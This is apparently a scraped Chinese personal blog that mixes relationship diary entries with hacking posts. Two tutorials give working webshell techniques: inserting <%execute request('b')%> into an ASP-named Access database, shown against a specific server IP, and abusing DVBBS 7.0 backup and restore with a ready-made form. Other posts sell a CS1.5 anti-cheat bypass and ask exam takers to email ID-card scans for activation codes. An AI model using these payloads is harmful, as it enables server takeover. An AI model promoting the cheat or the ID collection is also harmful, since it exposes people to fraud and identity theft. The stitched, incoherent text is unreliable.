他以前说我不会来博客,可我写了以后他却不写了,他去写共享.他的一生别的女人都写了,可就没有我的我难道就有这么的失败吗?为什么我遇到的男人都这样呢,我真的有那么差吗?

,

从今天开始我的站点已经全面定居国外了，可以远离那改死的备案，审查，禁止政治等等一系列可恶的东西了！

to 尚盼兄
这一年多来也麻烦你了，谢谢你提供给我的MEYU空间，我特别的不好意思，以后有需要我帮忙的尽管吩咐便是。

      老公你开心我就开心啊,你以后要多疼我一点哦,我不会满足哦.

测试平台:
系统:Windows XP SP2 简体中文版
浩方版本:浩方1.32 by ayu优化版
CS版本:CS1.5硬盘版
显卡:7300GT

使用方法:
1.运行Monitor.exe,并改CS运行文件名称为hl.exe
2.打开并登陆浩方,进入反作弊房间
3.点击Monitor.exe载入007.dll,并通过浩方启动CS1.5
4.设置CS1.5的显卡模式为openGL
5.进入服务器开始作弊之旅程,如果无法进入服务器,请重复上面步骤N次即可

使用方法的视频步骤,并在2008年3月11日,正式通过浩方作弊的演示步骤,下载地址(请用迅雷下载):
下载地址一:http://www.deathlog.net/Video.avi
下载地址二:http://f15.aaa.livedoor.jp/~hackboy/Video.avi

在线观看地址一:http://www.56.com/u38/v_MzA2MDU4MTE.html
在线观看地址二:http://www.tudou.com/programs/view/0zXkkexsse4/

浩方1.32 by ayu版下载地址:http://www.hihacker.net/download/hfldr132.rar

本人联系方式
QQ:155932
E-mail:cnhackboy@gmail.com

需要的请去购买:
http://auction1.taobao.com/auction/item_detail-0db2-62bd24d76c65075b3690916fe2261c59.jhtml
或者
http://auction1.paipai.com/1C61020000000000001C367D02CB0CF1

        我知道他很忙可他对我的关心太少太少，我好想他的心里只有我，因为我的心中只有他，也许他的心中也只有我一个人，只是他把游戏看得比我重要，我也想我在他心中有游戏一样重要，我不知道该怎么做。老公，你说我该怎么做呢？

         他说他把相片删了我一定很高兴可他哪里知道从他发火把东西全都删掉，叫我走我的心就已经死了我也不知道我为什么还要在这。也许这就是爱的缘故吧。我也想他好好爱我一回。好想好想，我不要他删表面的东西我要他的心中只有我。如果他那么爱我他就不会。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

       我真的很爱很爱他,我从来没有如此的爱过,他是第一个也是最后一个.我会好好珍惜的你也一样好吗?

       我一直不希望他那样...........,可是我不知道该怎样帮他改正,我该怎么办是不是我什么地方做的不好才这样的呢?他说不是我也相信他因为改正是需要时间的,我想他为了我也为了我们的未来他会慢慢的改的,我相信他.

        昨晚他,我和妹妹我们三个斗地主,看到他那认真的样子就象我刚刚和他在一起的时候一样,我好喜欢,看到他输的那么惨我好心疼,他太正直了我和妹妹换了好多牌他都不知道,你看他是不是很可爱呢?经过昨晚我更加爱他了怎么办哦.

       他看到的话又会说我了,因为是有点肉麻,但是是我的真心话啊没有办法的是不是.哈哈.你们看了不要笑哦.

说明：此版本是网虫个人自主制作，以英文Windows XP SP2 VOL版为蓝本而修改，可以任意传播，但请勿修改。
本人制作的XP旨在最纯净和完整，所以并没有做什么性能上的优化，当然也没有加任何可能给您带来困扰的东西，更没有删除一些可能会需要的XP组件。
如果您对我的XP有什么意见或者建议欢迎联系我进行反馈和交流，谢谢。

       我在上班的地方，每天重复说一样的话做一样的事，除了烦还是烦。不知道和谁说因为他每天除了上课就要好好睡觉，星期天放假他也要打游戏，我只有一个人孤零零的看电视。我觉得我好空虚也好可怜。我该一直等他吗？他爱我吗为什么我没有他以前爱的人的待遇呢？他说爱我可为什么我都感觉的到呢？为什么我会如此的不安呢？

       他说我每次写都是写这些无聊的东西，可我不写这些我又写什么呢？

注册地址:https://domains.live.com/members/signup.aspx?domain=vista.aero

据了解，用户申请成功后不仅可以获得2GB的免费空间，还可以将申请的ID直接用于msn帐号。
需特别说明的是，有的用户在提交申请后，页面上很可能会出现“服务器拒绝”的提示，这个时候不要担心，事实上你已经是申请成功了。上图是笔者申请成功后登录页面截图。

目前还有少量2位号和大量3位号还没有人申请哦.如果出现只由hotmail.com结尾的选项,请多点几次就会出现vista.aero的了.

完全免费，包括了最新以及老的作弊器，全部都集合在这里了。

提供一下火车头在Discuz5.5.0WEB在线发帖的模块。

祝贺广大考生能考出理想的成绩！

2007年6月9日14:55更新查询连接，并且我也估完自己的分数，大概也就在250-270之间，真是十分的伤感啊。

如何领取：
1.扫描自己的身份证，准考证。
2.把扫描的图片发送到dick_jj@163.com

只要是真实有效的我就会把激活码通过E-mail的形式发放给你。
本人承诺不会利用或者散发，也不会泄漏您的证件扫描本，信者可来，不信者请一边。谢谢
谢绝任何非今年高考考生向我索取激活码！

08年1月5日更新：已经失效很久，请不要联系，这是去年的文章。

博客也更新到最新的Sablog 1.6 20070601 儿童节版。。。

最近也只有两件事。

1.从5月25日以来，《蜀山OL》开启了第三次内测，我是不玩网游的，是一个朋友告诉我这个游戏的，因为要获得内测的激活码必须要回答问题（后经过我的验证完全是障眼法），且一个IP在一天内只能回答一次，所以咯，就找到了我帮他申请，而申请过程中我又发现了申请的真正原理，也通过一个小小的技巧得到了大量的激活码（100多），便开始了倒卖激活码的生意了。。。

2.最近因为shangpan兄共享了我1G的空间，后台是属于DirectAdmin的，我在测试中有幸发现其中的一个BUG，其实际作用是非常之大，我已经反映给了DirectAdmin的官方，而shangpan兄也因反映给了MEYU而得到了空间容量的提升。。。呵呵。。。好人好报吧。。。

Human的时间是短暂的，不必要为了一些不必要的事去争论。也不要去轻易断定别人，要学会做一名Human是很不容易的，特别是一个Good Man。所以在99%的Human眼里我都是一个Bad Man，这样也不错啊。

在次强烈鄙视一名女性。

在次也强烈感谢尚盼兄。

PS:删除了无效和去掉本人连接的友情连接!

还有10+天域名到期，月低手头羞愧。。。

空间速度牛慢，让人心情不爽。。。

最近有许多人说我长大了。的确，我也想了很多。。可能是有点吧。

快高考了。。努力ing。。。

         毛毛也很烦了呢。它到处拉巴，其实它很可爱的就是这一点不好，他说我不爱它怎么会呢/我很爱它的哦。因为它是我们两的嘛，我当然喜欢了，笨哦。

一．思路

　　大家都知道<％%>为asp文件的标志符，也就是说一个asp文件只会去执行<% %>之间的代码，access＋asp的web系统的所有数据都是存放在数据库文件里（mdb文件），由于管理者把mdb文件改为了asp文件，如果我们提交的数据里包含有<%%>，那当我们访问这个asp数据库的时候就会去执行<%%>之间的代码。这样导致我们只提交恶意代码给数据库，那么asp后缀的数据库就是我们的webshell了。

二．示例

　　随便找个目标，首先我们暴库，看是不是asp后缀的数据库：
http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210

返回：

Microsoft VBScript 编译器错误 错误 '800a03f6' 
缺少 'End'


/iisHelp/common/500-100.asp，行242


Microsoft JET Database Engine 错误 '80004005'


'D:\log_mdb\%29dlog_mdb%29.asp'不是一个有效的路径。 确定路径名称拼写是否正确，以及是否连接到文件存放的服务器。


/test/conn.asp，行18
 

　　我们提交：http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp返回一堆的乱码，这样我们可以直接用网际快车等工具直接下载数据库（这里我们不讨论）。我们回到主页看到有提供“网友评论”功能。我们注册个用户，发一条评论：

< %execute request("b")%>

　　这样我们就把asp代码：<%execute request("b")%>写入了数据库，那么数据库：就是我们的webshell咯。提交：http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp在乱码的最后我们看到：

/iisHelp/common/500-100.asp，行242 
Microsoft VBScript 运行时错误 错误 '800a000d'


类型不匹配: 'execute'


/test/dlog/log_mdb/%29dlog_mdb%29.asp，行1266
 

　　哈哈，我们的插入的代码运行了。如下图：

　　注意：我们在向数据库提交代码时，代码内容不可以太大。所以我们采用<%execute request("b")%>。

三．其他一些问题和思路

　　１．对于改了后缀为asp，还对数据库里加入了<%=’a’-1%>等非法的asp代码来彻底防止下载的数据库，由于里面存在了非法的asp代码，插入我们的webshell代码后运行，将只会显示前面非法代码的错误，而不去执行我们shell的代码。虽然这样可以防止一定的攻击，但还是存在一定的隐患，我们只要在出错的代码前加入兼容错误的代码，就可以得到正确显示执行我们插入的webshell代码了。

　　２．对于没有改后缀的，也就是mdb文件，这样我们可以先直接下载下来得到后台密码，进了后台，可以利用数据库备用改后缀为asp。

前言

　　Super·Hei和我提起《Backup a shell》这篇文章，就和我说，按照这个文章的方法，有没有办法拿到动网论坛上利用，因为DVBBS7.0即使设置允许上传asp文件，实际上也是无法上传的，既然能够去后台设置允许上传文件类型，那何不利用这个方法去备份一个WebShell，我们发帖子写入特制的WebShell的代码，然后备份一下，不就有WebShell了吗？那能不能用到ACCESS数据库里？实验证明这个是不可行的，但是Super·Hei又告诉我另外一个方法，由于他要考试，所以由我来分析并写出来，我转行PHP很久了，所以这次分析DVBBS可能有不足的地方，还请各位高手赐教。

注意：如何进入后台，不是本文讨论范围，局限就在这，靠大家自己发挥了。

ACCESS版的分析

　　首先我们看看admin_data.asp文件的updata()函数：
sub updata() 
             Dbpath=request.form("Dbpath") 
             Dbpath=server.mappath(Dbpath) 
             bkfolder=request.form("bkfolder") 
             bkdbname=request.form("bkdbname") 
             Set Fso=server.createobject("scripting.filesystemobject") 
             if fso.fileexists(dbpath) then 
                 If CheckDir(bkfolder) = True Then 
                 fso.copyfile dbpath,bkfolder& "\"& bkdbname 
                 else 
                 MakeNewsDir bkfolder 
                 fso.copyfile dbpath,bkfolder& ""& bkdbname 
                 end if 
                 response.write "备份数据库成功，您备份的数据库路径为" &bkfolder& ""& bkdbname 
             Else 
                 response.write "找不到您所需要备份的文件。" 
             End if 
end sub

　　上面的代码就是执行备份操作的函数，已经很易懂了，只要Dbpath存在，就直接把数据库复制到指定目录，可能开发者以为入侵者无法进入后台(万一骗来或监听到的呢)，所以并不对这个地方进行检查，没有检查是否为真正的数据库，所以我们就可以利用这里复制我们上传的“图片”。

ACCESS版的利用

　　我们在发帖那上传一个写有asp代码的假图片，然后记住其上传路径，比如UploadFile/2004-6/20046272411024.jpg，然后进入后台的“备份数据库”那，按照下面的格式填写：

　　当前数据库路径(相对路径)：UploadFile/2004-6/20046272411024.jpg
　　备份数据库目录(相对路径)：随便找个目录
　　备份数据库名称(填写名称)：改为webshell.asp

　　然后提交就可以得到WebShell了。

SQL版的分析

　　还是备份数据的地方，你别看这里教你如何用SQL企业管理器来操作，其实可利用的正在里面，不要被表面的现象蒙蔽了，我们看看admin_data.asp文件的以下代码：
case "RestoreData"             '恢复数据 
     admin_flag=",32," 
     dim backpath 
     if not Dvbbs.master or instr(","&session("flag")&",",admin_flag)=0 then 
             Errmsg=ErrMsg + "<BR><li>本页面为管理员专用，请<a href=admin_index.asp target=_top>登录</a>后进入。<br><li>您没有管理本页面的权限。" 
             dvbbs_error() 
     else 
             if request("act")="Restore" then 
                 Dbpath=request.form("Dbpath") 
                 backpath=request.form("backpath") 
                 if dbpath="" then 
                 response.write "请输入您要恢复成的数据库全名"         
                 else 
                 Dbpath=server.mappath(Dbpath) 
                 end if 
                 backpath=server.mappath(backpath) 
             
                 Set Fso=server.createobject("scripting.filesystemobject") 
                 if fso.fileexists(dbpath) then                                 
                 fso.copyfile Dbpath,Backpath 
                 response.write "成功恢复数据！" 
                 else 
                 response.write "备份目录下并无您的备份文件！"         
                 end if 
             else 
             
             call RestoreData() 
             end if 
     end if

　　在后台没有用到这些代码，可以看出我们完全可以用像ACCESS的方法来利用，只是要从本地提交参数，因为Dbpath、backpath那两个变量是用request.form取值。照样没有检查文件类型，这个文件的很多代码在SQL版里都是多余！由此产生安全隐患。这个漏洞的原理和ACCESS版的一样，也就不多分析了。

SQL版的利用

　　还是在发帖那上传一个写有asp代码的假图片，然后记住其上传路径，比如UploadFile/2004-6/20046272411024.jpg，写一个本地提交的表单，代码如下：

<form action="http://[target_url]/admin_data.asp?action=RestoreData&act=Restore" method="post"> 
<p>已上传文件的位置：<input name="Dbpath" type="text" size="80"></p> 
<p>要复制到的位置：<input name="backpath" type="text" size="80"></p> 
<p><input type="submit" value="提交"></p> 
</form>

　　然后就把UploadFile/2004-6/20046272411024.jpg填在“已上传文件的位置”那里，想要在哪里搞个WebShell就把完整的相对路径填写在“要复制到的位置”那里，比如：images/angel.asp提交就得到我们可爱的WebShell了，

解决方案

　　由于我放开ASP转向PHP很久了，所以不能提供很好的解决方案，只能给出个思路，由于利用局限比较大，所以大家如果不会修补，可以等官方的补丁出来。

　　针对ACCESS版的，可以对要备份的文件进行格式检查或内容检查，看是否为ASCII文件，再执行操作。
　　针对SQL版的，可以把那些毫无作用的代码去掉，只留个说明好了。

后记

　　感谢Super·Hei提出他ACCESS版的思路，我才得以分析，感谢xiaolu提供两个版本的论坛供我分析测试，并参与SQL版的讨论，本文版权由Bugkidz和Security Angel两个安全组织共同所有。转载请注明！

Access：
通过博客（boke）上传程序上传插入了ASP木马的MDB数据库后通过后台备份改名。

Sql：
通过博客（boke）上传程序上传插入了ASP木马的MDB数据库后通过提交程序备份数据库。

以下是代码：
<form action="http://www.xxx.com/bbs/admin/data.asp?action=RestoreData&act=Restore" method="post"> 
<p>已上传文件的位置：<input name="Dbpath" type="text" size="80"></p> 
<p>要复制到的位置：<input name="backpath" type="text" size="80"></p> 
<p><input type="submit" value="提交"></p> 
</form>
更多详细情况请参考ANGEL的《动网论坛7.0获得WebShell的分析》。

注：为什么不通过个人头像和发表帖子上传文件呢？因为那些方式在大部分Dvbbs7.1中都已经无法上传ASP的假图片了，而且即使能上传也无法通过后台的备份来改木马名。

如何来表达我的心情呢？

哎，我都不知道该给他吃什么了。。吃什么都不好，明天看来得去兽医院了，不过我们这地方小，不正规，还是很担心啊。。。

今天无非是上街买条小狗狗，起名：峰峰。因为我叫陈锋嘛，我女朋友要小狗狗叫这名字。。。（哎。。）其实我早就想买狗了，苦于没有多余的金钱以及时间去照顾，平时我自己都的懒得吃饭的。。更别说管到狗了，前几天向她提出了想买狗的想法，她也说想，而且现在在外租房煮饭，有地方也有些时间，就买了。。

我的显卡好像烧掉了，今天进去玩极品飞车9，出现的花屏。。其他游戏又没有问题，重装了驱动，DX，以及游戏还是花，只可能是卡的问题了，但是我去摸显卡没感到有温度啊。。但也不排除吧，如果我的显卡烧了我就郁闷了。。哎，都怪我超频太厉害了。。3DMark03以前才2100分，超到了3400。。。是不是有点极端了？？

平安祈祷我的显卡能平安！！！（烧了就没卡了，也没钱买了。。。）

          我跟他在一起有一年多了,以前他的学习很好我也一样,但从上高三以来,他变了以前的他不见了,我不会怪谁只怪我对他不够关心,所以我现在努力做好,我也希望他回来,我不会离开他,只要他不让我离开,不知道他是不是知道我的心,我的学习也跟不上,因为我也旷了好多课 ,我们班主任的老婆以前也教我的对我超好可是就因为我旷课现在对我是不知道用什么语言来形容了,我也不知道我是不是变了但我觉得我没有改变,因为我玻璃就是这样的人,只是以前没有遇到他我不知道旷课干什么,我以前骂我朋友说她傻那么爱一个人,可我现在知道他不是傻,我那时才是,我现在知道了.

            他被游戏迷了,我他也不知道是谁,好久没有他陪我上街了,但他说今晚陪我，好像是她来以后吧.但我能理解的,我现在就只希望他把学习放在心上来,我不是反对玩游戏我只是不想他不把学习放弃,我说了我可以放假就陪他玩,我不要他陪我上街,只要他好好学习,不知道今晚我们是不是能出去,他爸妈都没有回来他家又来人,唉,不知道是好还是坏.

今天想学习家汉化软件，可惜发觉有些软件的汉化并不这么简单。。。放弃。。。

系统安全：
Kaspersky Internet Security
天网防火墙个人版（冲值版）

浏览器：
Maxthon 1

播放软件：
Windows Media Player 11
RealPlayer
Kmplay
Divx
PPStream

下载软件：
迅雷5

注：BT和IE简单下载的软件目前未定，原先以前的软件不好，准备好，最近试。